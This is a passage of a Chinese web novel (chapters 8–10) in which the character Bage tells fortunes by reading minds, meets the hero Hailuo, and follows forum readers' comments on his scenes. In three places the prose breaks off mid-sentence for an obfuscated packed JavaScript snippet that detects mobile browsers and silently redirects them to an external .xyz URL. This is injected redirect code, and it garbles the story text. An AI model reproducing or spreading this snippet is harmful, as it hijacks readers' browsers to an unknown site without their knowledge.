“是吗，那我需要找你多少钱？”魃戈装模作样地询问，实际上他连一块钱都找不出。 维池没好气地说：“不用了，准就全都赏你。” “不准呢？” “当然是一分钱也不会给骗子。” 魃戈笑而不语。 他拿起提前准备好的纸片，每张纸片都画了不一样的符号，在其他人看来都是意味不明的鬼画符，但实际是符咒师常用的符文，他借来用用。 二十四张纸片以半弧形摊在桌面上，过程丝滑得不像薄薄的纸，更像资深的赌场发牌手。 他随意地揉了几圈，打乱纸片的顺序，再重新合成一沓纸。 “抽三张放桌上，然后别动。” “注视我的眼睛。没有我的指令，不要移开视线。” 这些花里胡哨的流程全是他演着玩的。 他遇到过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899470|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多假扮占星术士的骗子，一个比一个有仪式感，越稀奇古怪越能服众，比如羊头撒兔血，再比如人骨通灵，说是邪术还差几分意思，毕竟一点效果也没有。 但他没那么邪门，只是自创了简易版塔罗牌。 接下来才是重点。 魃戈看向维池的眼睛，精神系异能发动，庞大的精神力如海藻般涌向对面。 他要读取记忆。 选择用占卜来谋生，除了避免身份证明和省下启动资金，还有个原因是他需要快速获取新世界运行的【规则】。 当然，他可以选择大街上劫持路人，但这太冒险了。 鬼知道战力体系和安保措施是什么样的？ 万一他这位孱弱的旅行者被不可名状的力量制裁，那就是开局直通监狱或冥府。 读取记忆停止，魃戈垂眸掩住眼底的情绪。 出现了意料之外的情况。 与其说是记忆，不如说是断断续续的零碎片段。 像是仓皇搭建的违章建筑，用木头搭好框架，其余部分用风吹日晒的废报纸随便糊了糊，伸手一戳就是一个窟窿。 估计维池自己也不知道具体发生过什么。 新世界诞生得太过草率，生活在这里的人也跟着变得模糊。 “——还没好吗？” 维池不耐烦地催促服务意识极差的黑发青年。 换做平常，他的脾气没那么差，谈不上有多谦逊，但不会让人觉得他含着一串炮仗。 偏偏见到这位神棍的第一眼，他就有种如临大敌的警惕，脸颊下的血管扑通扑通地跳了起来，仿佛有人拿着拖鞋狠狠抽打他的腮帮子，幻痛和幻肿同时找上门。 合理怀疑是因为给他留下了糟糕的初印象。 “好了。” 魃戈不急不缓地整理得到的记忆。 维池家境殷实，父亲是博士，母亲开公司。 而他本人学习能力优异，三岁能背百首唐诗，五岁能进行简单的英文口语交流，小学拿下全国奥数竞赛一等奖，连跳数级被名校录取，目前拿下博硕连读的资格。 虽然许多专业名词超出了魃戈的理解范围，但听起来是标准的天才模板。 顺便能推测出魔法的替代品是什么。 他弯了弯眼眉，笑容弧度加深，笑意却一分未增：“我就说你是天才吧。” 维池眼皮一跳。 什么意思？看破他的人生了？ 他不相信占卜、算卦、看手相等一切封建迷信，不相信人的命运是可预见的，坐在这里除了一时冲动，还是为了狠狠用科学打江湖骗子的脸。 他倾向于对方终于认出了他。 毕竟他是这片地区赫赫有名的神童，没听说过他才奇怪。 但接下来的展开让维池脸色大变。 “你讨厌别人吹捧或调侃自己的家境，因为你再怎么优秀也摆脱不了家境的光环。”魃戈将纸片一张又一张地翻开，像是给烤肉翻面一样轻松，“天才又如何？没有良好的成长环境就发现不了天才，没有大量的金钱投入就打造不了天才。” “在他们看来，你只是幸运地拥有了别人一辈子都无法获得的催化剂，任何一个人站在你的位置，也能取得和你相似的成就。” “但你觉得他们都错了。” 维池呼吸一窒，连睫毛都在颤抖。 魃戈继续道：“所有人都认为你的成就得益于家庭，忽略你的才能与努力。” “——而你，不认为自己会被埋没。” 8. 第八章 每一个字都精准地击中维池的灵魂。 他不可置信地看着噙着笑的黑发青年，跳动的耳膜承受着心脏演绎的乐章：“你说什么……？” “我说对了吗？” “……” 魃戈快控制不住上扬的嘴角了。 温和的手段很难对维池快速起效，必须直击痛点，然后在痛点上不要命地蹦跶。 但上述观点是基于对原世界维池的了解，那些碎片式记忆能猜中那么多就怪了。 他清楚维池是什么样的人，就像清楚海罗一样。 包括他能猜到维池会说什么。 “……你只是把道听途说的情况整合起来，再进行了三岁小孩都做得到的推论。”维池艰难地抵抗言语带来的冲击，声音从唇齿的缝隙中挤出，“你说的没错，但我最多夸赞你一句，心理学的造诣很高。” 魃戈游刃有余地应对反击：“看来你无法接受有人不认识你。” 不正面回应质疑，而是把问题抛给对方。 “世界不止你一个天才，做出杰出贡献的天才更不乏少数，你有什么值得我特意打探的？” 事实如此。 放在原世界，维池仅在上流圈和魔法圈会被提及，直到他升为大魔法师和加入勇者大队后才名声大噪。 普通人根本不在乎横空出世的天才魔法师。 逻辑清晰的反驳再次戳中维池的内心，他瞪大玉石般清透的绿眼，半天才憋出一句：“你、你还知道什么？” 魃戈轻叹一声：“需要在验证这一步浪费那么多时间吗？” “啪。” 又是一张五十元纸币被拍在桌上。 魃戈瞬间心花怒放。 他本着做戏做全套的原则，把那叠无用的纸片推给冷脸的维池：“行吧，你再抽一张。” …… 清点纸币的魃戈体会到什么叫丰收的喜悦。 维池坚信准确率高达百分百的占卜背后暗藏玄机，一张又一张的纸币拍在桌上，五十块用完了就用一百块，直到他不得不承认世界上存在科学无法解释的神秘力量。 “五十、一百、一百五十、两百……” “六百……啊，没了。” 果然，坑钱必须找不把钱当钱的有钱人。 某种意义不全算坑钱，毕竟占卜和记忆读取都超出科学能解释的范畴。 哦对，科学就是新世界替代魔法的存在。 看在出手阔绰的份上，魃戈没缺德到拿看到的记忆搪塞占卜的程度，他根据原世界的经历合理推测维池的未来，好心地提供心理开导业务。 “再成功的人都会遭遇质疑，哪怕你拯救过世界。当然，你必须承认，有资格拯救世界也是一种幸运。” 结局是维池阴沉着脸离开了。 ——希望他没有把缓和气氛的玩笑当成阴阳怪气的说教。 魃戈一边漫不经心地想着，一边调出论坛，在他坑蒙拐骗的期间，接龙贴多了好多新评论。 正准备从最新回复往上拉，其中一条评论吸引了他的注意力。 【还是上次的黑毛男吗？】 ……嗯？ 他的视线微微一顿。 【看说话风格应该是同一人】 【一排“黑发青年”看得头晕，我还以为是新登场的路人甲（捂脸）】 【不能起个名字吗？】 【可能这样看起来更神秘更有逼格】 【起名废吧233】 魃戈头一次意识到自我介绍的重要性。 哪怕现在递给他一张斯顿雷魔法学院的申请表，他也会耐着性子把又臭又长的申请表填完，包括祖上三代的魔法造诣和魔法师生涯规划。 是的，他填过，还因为信息不完善被退回来了。 【挺好的，比那些乱七八糟的名字好记，我到现在还没想起来维池和汤克是谁】 【+1，主角的名字我都要思考三秒】 【维池是魔法师！汤克是盾兵！都是勇者小队的！】 【很好记啊，海罗不就是hero的音译吗？】 【？？卧槽我才发现】 【之前就想说，汤克是tank的音译吧……】 【可见原作者确实是起名废】 【黑毛男不会叫布莱克吧哈哈哈哈】 ……申请表何在？ 虽然不知道布莱克是什么意思，但魃戈一点也不想被冠上这个名字，像是被接到家的宠物必须要改一个主人喜欢的新称呼。 以及…… 「布莱克」有什么深意吗？ 为什么论坛发言和“这只宠物不会叫狗狗吧”一样顺理成章？那几串像从魔法古籍里抄下来的符号又是什么意思？ 每当他以为摸清了论坛世界的暗语，就会冒出来一堆待破译的新词。 魃戈一边往前翻评论，一边把玩着宝石般冷硬的物体，这是五秒前突然出现在手中的新碎片，代表的含义不言而喻。 就算没有漏洞碎片，从评论也能推断出发生了什么。 ——他再次登场了。 展现在眼前的文字证实了魃戈的猜想。 没有连火都忘了开的勇者，也没有能炒出面疙瘩的鏊子，但他还是出现在了最新的接龙中。 【“天才维池！” 维池被吓得一激灵，踉跄好几步，幸亏他反应迅速地调整好了，不然尴尬程度直线上升。 大庭广众之下，带着羞耻的前缀喊出自己的名字已经够尴尬了。 维池懊恼地瞪向罪魁祸首：“你谁啊！？” 叫住他的是一位陌生的黑发青年，罕见的瞳色像是浸泡在血池中的红宝石，透着说不上来的诡异。 他托着笑意盈盈的脸：“随便喊喊，没想到真是天才。” ……】 不可思议，居然有外貌描写。 可怎么把他描述得不像一个好人？ 【…… “六百……啊，没了。” 聒噪的声音终于停了下来。 维池双手环臂，斜眼看着一脸歹毒相的黑发青年，他合理怀疑对方是故意的，这么点钱居然数得那么大声，不是为了故意气他，还是为了什么？ 尽管他依旧不相信预知未来，一定是用了不可告人的小伎俩才对他了如指掌，但愿赌服输，他不差这点钱。 “再成功的人都会遭遇质疑，哪怕你拯救过世界。”黑发青年挑起嘴角，露出顽劣的笑容，“当然，你必须承认，有资格拯救世界也是一种幸运。” 维池不是傻子，自然听出了其中的嘲讽，不就是暗示他的成功离不开出身吗？ 他阴沉着脸起身离开，连礼节性的道别都不想演了。 以后绝对要避开这个人。】 续写结束。 魃戈：“……” 不是好像，是真的。 像那种赚了黑心钱还要故作深沉地倒打一耙受害者的恶劣骗子。 平心而论，他没干什么坏事，充其量只是逗了维池几下，顺便爆了点金币，但那全是维池自愿给的，作为补偿，他奉上了真诚的人生建议。 结果维持解读成了不怀好意。 但这是他的错吗？ 他一介柔弱的旅行者能有什么坏心思？ 【弱弱地问一句，海罗一个字都没出现是允许的吗？不是勇者故事吗？（挠头）】 【正常，剧情不可能让主角一个人推动】 【黑发红眼好戳我的xp！我就说他不是背景板路人吧！江湖骗子的属性更萌了xddd】 【等等，黑毛到底是有几把刷子，还是在坑蒙拐骗？】 【都行吧，这段没写出来，后面接龙的人想怎么安排就怎么安排】 【神棍对维池说的那段话很准确，从原作能看出维持是这种类型，但鉴于前文他和海罗的对话，我倾向于他对维持有一定的了解，而且目前看来这是一个低武的唯物主义现代世界，不存在真正的神棍。】 【那黑毛男不就白赚六百块？？】 【日入600，打工人已破防】 【小少爷不差这点钱，而且是他缠着人家非要验证的hhhh】 【薅一点资本家的羊毛怎么了（狗头）】 【求上天赐我一个地主家的傻儿子】 魃戈松了一口气。 哪怕他说了出格的话，论坛也会全自动给他找理由。 他暂时不希望被看出他是“活着的”，但这群人的智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899471|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商能不能识破是个问题，没准儿只会把他的反常当做续写的一部分。 毕竟，谁会相信小说里的角色“活”了呢？ 魃戈把纸币塞进钱袋，准备待会儿问问冷面馆老板娘，哪里能找到价格合适的旅馆。 结果他把关闭论坛操作成了返回上一界面。 论坛首页界面非常简陋，一长串帖子按照回复顺序排列整齐，置顶是版规，大意是文明用语、不要回复沉底的帖子等。 而首页的右上角多出与往常不同的板块。 ——1000个漏洞碎片即可解锁彩蛋。 ——当前进度：2/1000。 魃戈：“……” 多少？ 哪来的强盗！？一千个？？？ 魃戈早就把碎片全都投入「404 not found」了，为了上传原作本体走的剧情一个碎片也没奖励，抠搜得很。 说到「404 not found」就来气。 他吭哧吭哧地搜集了一大堆碎片，兑换成果是上传原作本体到论坛，还要他再跑一遍原作剧情。 尽管循环被打破了，但他似乎陷入了新麻烦。 鬼知道解锁彩蛋会遭到什么报应。 魃戈决定暂时把投入性价比未知的事放一边，生存才是头等大事。 他向冷面馆老板娘打听到了小镇仅有的几家旅馆，最终选了一家住宿环境中等的。 原谅他没有吃苦耐劳的精神。 999个周目唯一没体验过的生活就是物质条件匮乏，他没选择当地最贵的旅馆已经是与自我抗争后的结果了。 办理入住需要一种叫身份证的东西，魃戈和黑户同等待遇，只有他的新身份没被安排妥当，还好精神系异能健在，他稍作手脚就操控老板把自己放进去了。 用这种方式还能免费入住，但他的道德底线没滑坡得那么严重。 旅馆设施繁多，魃戈没见过的东西全都源于科技。 起初，他有些新奇，但运作几次后就习惯了，并且每一样都能找到与他认知中对应的产物。 比如电梯，魔法世界叫天箱，原理是在每个按键刻上与楼层高度对应的飞行魔法，载体就会升高或降低，但需要定期注入魔力。 电热壶是加热魔法，电视机是投影魔法，电热是照明魔法…… 原理千差万别，但效果大同小异。 他更期待见到超出认知与想象的事物，论坛勉强算半个。 魃戈直挺挺地往后一倒，柔软的被褥接住了他，像是落入水中般发出一声闷响。 没有温度的光球悬在头顶，直视光线的滋味不好受。 大脑被强制镇静，对世界的新鲜感与狂热劲散去，取而代之的更深层的思考。 他满意这个结果吗？ 满意。 他想要其他变化吗？ 想要。 他还有精力斗争吗？ 没有。 他愿意维持现状吗？ …… ………… 必然是否定的答案。 如果那么简单就妥协了，不就显得至今为止的努力很可笑吗？若是只进行了几个周目还勉强说得过去，但眼下的结果配不上他的付出。 他是累了，不是死了。 魃戈万分明确他想要的是什么。 赤红色的眼眸如同被摇曳的篝火，将未修成正果的经历吞噬为燃起斗志的养料，半透明的电子屏幕弹了出来，与头顶的挂灯彼此重合，在一片血色中波光粼粼地闪烁着。 ——世界不能被论坛控制。 不是出于拯救世界的使命感，而是他和世界是命运共同体。 只有他拥有绝对自由的世界和过去有什么两样？ 魃戈深呼吸了一下，正想看看论坛有什么新进展，右上角瞩目的文字再次刺痛了他。 ——当前进度：2/1000。 “……” 论坛界面收了回去，魃戈面无表情地闭上眼，燃了不到五秒的斗志瞬间熄灭。 不想面对一千个碎片的残忍现实。 休息，他需要休息，休息是为了更好地出发。 凡事等他尝过关东煮和烤冷面再说。 9. 第九章 “我的金项链不见了，你帮我看看，是不是被黄大仙偷了？” “掉地上被你家猫拱到沙发底下了。” …… “我有希望和女朋友复合吗？” “你是指出轨被抓在她家门口闹了一晚上被警察带走，然后还幻想和她复合？” …… “闺蜜怀疑我男朋友出轨了，但他绝对不是那种人！虽然他没什么钱，房租都是我付的，但他对我特别好，每天都会给我发‘我爱你’，情人节送了自己亲手做的相册回忆录，还卡整点发了玫瑰花的表情包，凌晨我饿了他就给我泡方便面！他真的很爱我，对我言听计从，这么好的男人怎么可能会出轨？” “你现在赶去斯顿雷酒店还来得及。” …… “大师，我啥时候能脱单？” “先把一个月洗一次澡的毛病改了，我头晕。” …… “我能在这个月内找到工作吗？” “这个月只剩下两天，而你一份简历都没投，你觉得呢？” …… “下辈子我会投胎成什么样的人？” “下一个。” …… 魃戈失去了所有力气和手段。 这就是坑了维池还死不承认的报应吗？ 摆了几天算命摊，正常人寥寥无几，他头一回知道原来占星师还有那么辛苦的一面。 他想念给钱爽快的维池。 好消息是他确定了和普通人有交集不会被论坛记录，只有接触主角团才有此等殊荣。 但这则喜讯不足以抹除淡淡的死意。 “抱歉，可以再说一遍你的需求吗？我没懂。……你的意思是，请你的异次元恋人上我身和你对话？不行，这也做不到。……不不不，他没有附身在你的棉花娃娃上，这只是一个再普通不过的玩偶。……不，不是因为他生气了才不愿意附身，就像乒乓球孵不出小鸡不是因为乒乓球生气了，你能理解吗？” 费了好大力气，魃戈才和顾客解释清楚他不能和虚拟角色通灵。 虚拟角色说是一张纸都算夸张了，纸可是实体，他们连实体都没有。 哪怕是原先的世界，他也没那么大的本事。 “所以，我的爱人是不存在的吗？”顾客垂头丧气地抱着棉花娃娃，“但他陪伴我度过了很多难熬的日子，他怎么可能不存在呢？我的世界、我的感受、我所见的一切，这些痛苦全是真实的，只有能给我带来幸福的他是虚假的？” “……” 魃戈很想说这个世界也是假的。 他盯着小声嘀咕的顾客，读取的记忆在脑内重播，一句残忍的“没有”卡在喉咙口。 半晌，他宣布向世界投降：“不一定，只是你们属于不同维度，他感受不到，你也感受不到。” 这不完全是谎言。 就像论坛用户意识不到《平凡勇者从零开始击败魔王》中的是活生生的人，生活在这本小说中的人也察觉不到论坛，但怎能因此否认任何一方的存在？ 再说了，他真正的使命是心理治疗呀。 魃戈立刻将方案调整为话疗。 “我思故我在，你的爱人也是如此，你的爱赋予了他生命，他挣扎着长出血肉……” 仅靠三言两语，方才还郁郁寡欢的顾客没多久就被哄开心了，走之前还特意给他塞了二十块的小费，美名曰奶茶钱。 为了不辜负这番好意，魃戈决定买杯奶茶犒劳自己。 别的不说，新世界的奶茶很好喝，芝士奶盖四季春更是神中神。 行动派选择收工。 可当魃戈习惯性地打开论坛，收摊的动作微微一顿，眉头随之微微皱起。 他一时半会儿走不了了。 …… 煎饼一分为二装进纸袋，套入提前准备好的塑料袋中，海罗紧绷的身体放松下来。 终于不用狼狈地夹起漏出来的馅料了。 他提起塑料袋递了过去：“来，同学，你的。” 最近海罗忙得焦头烂额。 生意太好是原因之一，最重要的原因是他在追查一桩大案子。 无人能猜到，他的真实身份是警察。 煎饼摊是掩人耳目的身份，由于手头的案子牵扯到师生和家长，他正在逐个排除名单上的可疑学校。 斯顿雷中学是最新一站。 海罗很困惑，隐瞒身份的方式有很多，为什么他偏偏选择卖煎饼果子？ 关东煮不需要技术，冰糖葫芦成本很低，哪一种都比卖煎饼更合适。 他先后经历了煎饼糊了、煎饼漏了、煎饼变成面疙瘩、忘记撒芝麻等大大小小的诸多问题，导致给顾客不是打折就是没收钱，再加上摆摊车和煎饼工具都是自掏腰包，他纯属倒贴上班。 但他始终坚守在煎饼摊的第一战线，每天准时出摊。 值得庆幸的是，生意没有被频繁翻车影响，大家像是集体患上异食癖，比模拟经营游戏的顾客NPC还敬业。 以上都不是重点。 沉迷钻研煎饼技术一段时间后，海罗忽然大梦初醒，冷不丁地想起了自己真正的使命——调查案件。 险些把要紧事抛之脑后的重大失误把他惊出一身冷汗，幸亏他及时清醒，没酿成大祸，否则下半辈子的事业可能就顺水推舟地和煎饼果子捆绑了。 提起案件，海罗很是迷茫。 也许是入职不久、权限太低的缘故，他对案件的掌握寥寥无几，连具体发生了什么都不清楚，只知道牵扯到了一个组织，而他的任务是寻找可疑对象。 恰巧他有一个怀疑人选。 来斯顿雷中学摆摊的第一天，他碰见了一个着装打扮和言行举止都很奇怪的黑发男子。 尽管称之为证据太勉强，说不定那人只是中二病没毕业的大龄二次元，但线索有限的情况下不能放过蛛丝马迹。 换一个说法，他总不能继续沉浸式摆摊吧？ 海罗早就听说附近多了一个神棍，算命的准确率高得惊人，收费公道，性格亲和，到处都在传斯顿雷来了一位隐世高人。 此人正是那日的黑发青年。 有次海罗收摊回家，远远地瞧见了他，对方混迹于人群中，有说有笑地帮商家打下手，但怎么看都和周遭格格不入，像是一幅看似形状吻合的拼图，其中一块的高度却凸起一截。 仿佛……他不属于这里。 说了一句废话。 外来者本就不属于斯顿雷小镇，只不过比起世外高人，他更像另有企图的江湖骗子。 “——今天那么早收摊？” 温婉的女声打断思绪，海罗抬眼望了过去，刚下班的希尔洛站在摊位前，她是这所学校的医务处校医，也是他的常客。 他停下收拾的动作：“晚点有事，但不是很急。” 希尔洛瞥了一眼收拾了大半的摊位，善解人意地笑了笑：“我随便问问，等下要去吃火锅，就不浪费胃口了。” “对哦，今天是周五，工作日的最后一天吃火锅太幸福了。” 海罗的羡慕不是假的。 别人下班吃火锅，他收摊却要加班寻找可疑的黑发青年。 按照正常逻辑，等到同事给出调查结果，他再决定是否见一面，以免打草惊蛇，结果他不知道哪根筋搭错了，非要现在去找人家。 他不觉得自己能问出调查不到的信息。 想归这么想，去还是要去的。 海罗跟随记忆来到上次偶遇的地方。 隔着数十米的距离，简陋的算命摊引人注目，每一处都散发着不靠谱的气息，坐在摊前的黑发青年慢悠悠地抬眼，红玉似的眸子平静地凝望着海罗，仿佛早就预料到对方的到来。 如果他手里没拿着关东煮杯子和一串北极翅，神秘感会更强一点。 他咬掉竹签上的最后一块北极翅，刚好也是最后一串，对时间的把控精准得令人怀疑他提前计算过。 海罗推着摆摊车走上前去：“又见面了。” 话音刚落，必须要做什么的使命感突然被卸下，他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899472|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种如释重负的轻松。 他这是怎么了？ …… 【怎么断在这里啊啊啊啊】 【几天没点进贴，海螺爆改便衣警察了？】 【海螺】 【口嗨成真笑死我了。。】 【好喜欢这种充满不确定性的癫感】 【字数受限吧】 【下一个接龙的人怎么写？案件没交代，黑毛身份也没交代，纯硬聊啊】 【其实我想写海罗去找黑毛却扑了个空，最后一路追查发现他是幕后黑手，但一直发不出来……】 【发不出来？】 【是不是被吞了，触发关键词可能会被屏蔽】 【后台显示审核失败（捂脸）】 【？？咱们的小破论坛居然还有审核吗】 【我刚才也是！把海罗和黑发青年的互动删掉就发出来了！】 【好奇怪，难道违反版规了？】 【可能出bug了吧哈哈哈】 论坛用户吃书了。 不久前的讨论成真，海罗被设定为便衣警察，辍学摆摊和被城管驱赶就像曾经的勇者记忆一样被覆盖，大概率成了假身份的一部分。 他此番前来是因为怀疑魃戈和案件有关。 冤，太冤枉了。 案件详情没有在文中交代，魃戈猜测是接龙的人懒得编，剧情则断在海罗收摊后出发来找他，意味着剩下的展开他有很大的发挥空间。 他的目标很简单，坐稳神棍身份，拿到漏洞碎片。 其余与他毫无关系。 更何况他本来就和凭空捏造的案件无关。 关掉论坛，魃戈幽幽地捧杯喝了一口关东煮的汤，奶茶店离他太远，他只能去便利店凑合一下，导致他的怨气比恶灵还重。 他把纸杯放回桌面，用纸巾擦了擦嘴，眸光淡淡地落在海罗的身上：“我觉得你卖关东煮比煎饼果子有前途。” 要不是他知晓内幕，根本看不出眼前的少年从小摊贩变成了警察。 一个人悄无声息地发生了翻天覆地的改变，却没人发现不对劲，包括当事人自己，世界化为遮掩真相的帮凶，将谎言包造成现实。 魃戈心想，不当主角挺好的。 至少玩弄不到他。 “……人各有志。”海罗憋了半天才挤出一句，给他同样想不明白的问题现场编理由，“牌子都做好了，再换个新的多麻烦。” 他坚定地补充道：“况且上次是个意外。” 魃戈把揉成团的纸巾丢进杯中，纯白色的纸巾吸收汤汁，迅速变成浅褐色，他笑了一声，声音像羽毛般轻盈：“意外真够多的。” 海罗轻咳两声，跳过丢人的话题：“我想占卜，你怎么收费？” “一顿饭钱。” “可以用煎饼果子代替吗？” 魃戈眼皮都没抬一下：“不了，我怕出意外。” “……” 活跃气氛的玩笑话被堵死，海罗讪讪地摸了摸鼻子，从兜里掏出二十块按在桌上：“够吗？” “问你。”魃戈斜眼，“平常吃一顿饭二十块够不够，需要我来猜？还是说，这是你对我的第一道考验？” “那够了。”海罗赶紧把钱往前推了推，嘴里疑惑地嘀咕，“我没得罪过你吧……？” 怎么从初遇就一直呛他？ 魃戈选择性无视了后一句话。 纸币放进钱袋，右手短促有力地甩了一下，卡牌像变戏法似的从袖口滑了出来，这是他用硬卡纸新做的塔罗牌。 纸片使用手感不佳，不易保存，还容易飘走。 海罗看着洗牌老练的黑发青年，修长的手指搭在卡纸上，连廉价的质感和鬼画符图案都显得高级。 他突然想起了任务：“我能问你一个问题吗？” “说。” “你的名字是什么？” 洗牌的动作微微一顿，狭长的赤眸向上抬起，黑发青年扯了下唇角，冷冽的声音缓缓道出： “魃戈。” 10. 第十章 “魃戈？”海罗重复了一遍，“好奇怪的名字……” 糊成一团的低语没逃过魃戈的耳朵。 他懒洋洋地移开视线，这句冒犯的评价他数不清听过多少次，每次海罗听到他的名字都是这个反应，像是触发口令的魔法道具。 谐音海螺的人说他名字奇怪，还有没有天理了？ “咳。”后知后觉地意识到发言的不妥之处，海罗在心中祈祷千万没被听到见，然后赶紧转移话题，“你、你看着挺年轻的，没想到是干这行的，我还以为算命先生都是老人。” 他不擅长套近乎，只能硬着头皮问：“你也和我一样是辍学出来摆摊的吗？” “不是。”魃戈否认道。 他的猜测是正确的，辍学摆摊的设定优化成了假身份的一部分。 真假掺半，零星的真实却是建立在虚假之上的空中阁楼，要不是他早就习惯癫狂的世界，恐怕能被吓得不轻。 海罗追问：“刚毕业？” “不是。” “还在读书？” “不是。” “那你……” “——安静，不要分心。” 魃戈强硬地打断了还想继续问下去的海罗，他把洗完的牌递了过去：“抽三张。” “哦…哦。” 接下来的流程与前几次无异。 记忆读取终止，魃戈敛目不语，装出认真解析牌面的模样，脑海内却回放着一幕又一幕藏在顺理成章之下的违和细节。 海罗的记忆远比想象中的有意思。 虽然掏出放大镜也找不到几处，但不自然的停顿和迷茫的眼神绝非虚假。 海罗隐隐察觉到了变化，并疑惑自己为何要这么做。 当然，他的意志和智商还不足以对抗强加在自己身上的想法，最后还是乖乖照做。 但不妨碍对魃戈是一个好消息。 说明旁人不是没有自我意识的空壳。 说明论坛接龙的控制不是绝对的。 说明他挣扎999个周目不仅仅是自救。 说明…… “——看出什么了吗？” 海罗紧张地盯着选中的三张牌，却什么也看不出，卡面上的图案比翻车的煎饼还抽象，后者好歹能辨认出食材。 他不相信江湖骗子，不代表他不相信玄学。 仅靠早有预料的那一眼，他对黑发青年的能力从疑惑变成了将信将疑。 “看是看出来了。”魃戈不紧不慢地用指尖敲打桌面，他垂眸掩笑，故作苦恼地拖长音，“但说出来恐怕不合适。” 海罗愣住：“为什么？天机不可泄露？” 魃戈摇了摇头。 沉默不语的反应让海罗心生不妙的预感，无数糟糕的猜测从脑海里闪过，嘴皮不自觉地微微抖动：“发、发生了什么？” 他不会要死了吧！？ 难道他离殉职不远了？这次任务那么险恶？ 魃戈抿了抿唇，压住险些被恶趣味抬起来的嘴角，更像是欲言又止，半晌，他缓缓抬起眼睫：“你确定要听实话吗？” “但说无妨。”海罗郑重道。 魃戈等的就是这句话。 营造出不妙的气氛，装出一副不愿多说的好心模样，让目标放下警惕自愿往坑里跳。 “牌面乍一看很光鲜体面，但能量却是负面的。”魃戈伸出两根手指，“两种意思，一是性格缺陷，二是表里不一，正常来说只占其一，但你偏偏抽出了丰收牌，代表牌面出现的信息应有尽有。” “边缘的放射线代表太阳，说明你给人的印象是阳光开朗，但混乱无序的线条和布局揭露了你的真面目，真正的你懦弱幼稚、爱找借口、没责任感、擅长逃避、优柔寡断、内核不稳、逻辑混乱、目光短浅、缺乏毅力、依赖性强、驱动力弱……” “——等等！” 海罗黑着脸打断大点兵：“是不是有点太多了？” “有吗？”魃戈面露为难，“这些是我根据牌面解读出来的信息，我已经尽量把不堪的内容美化了。” 海罗：“……” 海罗：“不堪？” 故事主角瞳孔地震，魃戈无辜回望：“对啊，所以我才再三确定你想不想听实话。” 解读是假，实话是真。 以上均为魃戈在相处过程中得出的结论，也是他反感海罗的真正原因。 向不存在的光明女神发誓，他没有夹带私货。 他还没小心眼到仇视天选之子的程度，主角身份仅占很小一部分原因，更多的不满针对海罗本人，天知道他伺候主角团吃了多少苦。 虽然海罗不是没有可取之处，但瑜不掩瑕，况且坦诚地指出缺点说明没赚黑心钱，否则大可把他夸得天花乱坠。 “还有其他问题吗？”魃戈挂着营业微笑。 “……” 海罗深呼吸了一下，做足了直面恶评的心理准备：“继续吧。” “说到哪儿了？哦，表里不一。”魃戈继续愉快地胡扯，“上述性格方面的表里不一只是其中一部分，我在牌面读到了两点隐蔽的信息。” 他捏着下巴，在脑海中网罗合适的话术：“三张牌的摆放位置很有意思，恰好象征着光与暗，还可以理解为黎明后的曙光，在现实中代表的含义是……” 声音戛然而止，他抬眸凝视海罗，会心一笑。 “如果我解读得没问题，那就是不适合公布的机密身份，而且光与暗……” 海罗的神情转向另一个极端。 如果说之前是被戳中痛处的恼怒，那现在是因身份岌岌可危的严肃。 若是玄学大师还算好的，就怕这人不是。 “算了。”魃戈及时打住，“细思恐极，我还是不深入下去了，对你我都没好处。” “……初遇的时候，你对我说过一句话。”海罗紧盯笑盈盈的黑发青年，试图从对方的表情寻得破绽，“海罗，你满意现在的身份吗？” “是有这么一回事。” “那个时候你就意识到了，而不是占卜读牌发现的。” 海罗突然上线的智商就像能戳死人的独角兽一样罕见。 转念一想，如果把话说到这份上还意识不到，那或许存在一定程度的智力障碍。 魃戈托着脸：“不，那句话对应的是另一点信息，也就是我接下来要说的。” “什么？” “我观测到了一股神秘能量，以我的水平无法知其全貌，但当我靠近你时，这股能量更明晰了，仿佛你就是能量的中心或是链接能量的中转站。” “……？” 魃戈坦然地直视海罗的褐眸：“光与暗的另一层意思是曾存在其他可能性，但被扼杀了，从此属于你的一部分沉入黑暗、光明不复。” “你，可曾意识到失去了什么？” …… 【这神棍有点东西。。】 【魃戈是不是算出来世界被篡改过？】 【不止吧，最后几段谜语人发言，我怀疑他连原作都算出来了】 【不觉得他每次登场都装装的吗hhhh】 【魃戈到底啥来头】 【淡定，还不是作者安排的金手指？】 【咦咦咦？公布名字了？】 【魃戈=BUG？】 【作者起名太偷懒了哈哈哈】 【确实挺bug的233】 【又是那个疑似楼主的未知ip发的】 【lz是不是不喜欢主角，特意捏了一个oc？】 【有一说一，魃戈的点评很精准，我看原作的时候也察觉到了，海罗不是传统意义上的勇者，他更像一个普通人。】 